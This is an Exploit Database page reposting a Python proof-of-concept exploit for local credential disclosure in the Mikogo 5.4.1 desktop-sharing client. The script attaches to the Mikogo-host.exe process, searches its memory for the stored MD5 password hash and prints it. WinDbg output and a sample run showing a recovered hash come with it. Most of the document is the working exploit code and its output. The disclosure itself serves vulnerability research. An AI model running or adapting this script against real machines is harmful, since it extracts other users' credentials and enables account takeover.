Mikogo 5.4.1.160608 – Local Credentials Disclosure

• Exploit Database
• 10 阅读

• 作者： LiquidWorm
  日期： 2017-10-23
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43033/

• #!/usr/bin/env python
  #
  #
  # Mikogo 5.4.1.160608 Local Credentials Disclosure
  #
  #
  # Vendor: Snapview GmbH
  # Product web page: https://www.mikogo.com
  # Affected version: 5.4.1.160608
  #
  # Summary: Mikogo is a desktop sharing software application for
  # web conferencing and remote support, and is provided by the online
  # collaboration provider, BeamYourScreen GmbH. Mikogo provides
  # its software as native downloads for Windows, Mac OS X, Linux,
  # iOS and Android.
  #
  # Desc: Mikogo is vulnerable to local credentials disclosure, the
  # supplied password is stored as a MD5 hash format in memory process.
  # A potential attacker could reveal the supplied password hash and
  # re-use it or store it via the configuration file in order to gain
  # access to the account.
  #
  # ------------------------------------------------------------------
  #
  # 0:017> s -a 0 L?80000000 "password="
  # 0125cdad70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67password=..&lang
  # 0146e6b870 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61password=...doma
  # 06a422b370 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34password=482C811
  # 0:017> da 06a422b3
  # 06a422b3"password=482C811DA5D5B4BC6D497FF"
  # 06a422d3"A98491E38...."
  #
  # ...
  # ...
  #
  # C:\Users\Charlie\Desktop>python mikogo_mem.py
  # [~] Searching for pid by process name 'Mikogo-host.exe'..
  # [+] Found process with pid #1116
  # [~] Trying to read memory for pid #1116
  # [+] Credentials found!
  # ----------------------------------------
  # [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38
  #
  # ------------------------------------------------------------------
  #
  # Tested on: Microsoft Windows 7 Professional SP1 (EN)
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # @zeroscience
  #
  #
  # Advisory ID: ZSL-2017-5439
  # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php
  #
  #
  # 03.07.2017
  #
  #
  # Based on Yakir Wizman's PoC:
  #
  
  
  import time
  import urllib
  from winappdbg import Debug, Process
  
  username= ''
  password= ''
  found = 0
  filename= "Mikogo-host.exe"
  process_pid = 0
  memory_dump = []
   
  debug = Debug()
  try:
  print "[~] Searching for pid by process name '%s'.." % (filename)
  time.sleep(1)
  debug.system.scan_processes()
  for (process, process_name) in debug.system.find_processes_by_filename(filename):
  process_pid = process.get_pid()
  if process_pid is not 0:
  print "[+] Found process with pid #%d" % (process_pid)
  time.sleep(1)
  print "[~] Trying to read memory for pid #%d" % (process_pid)
   
  process = Process(process_pid)
  for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'):
  memory_dump.append(process.read(address,42))
  for i in range(len(memory_dump)):
  password = memory_dump[i].split('password=')[1]
  if password !='':
  found = 1
  print "[+] Credentials found!\r\n----------------------------------------"
  print "[+] MD5 Password: %s" % password
  if found == 0:
  print "[-] Credentials not found! Make sure the client is connected."
  else:
  print "[-] No process found with name '%s'." % (filename)
   
  debug.loop()
  finally:
  debug.stop()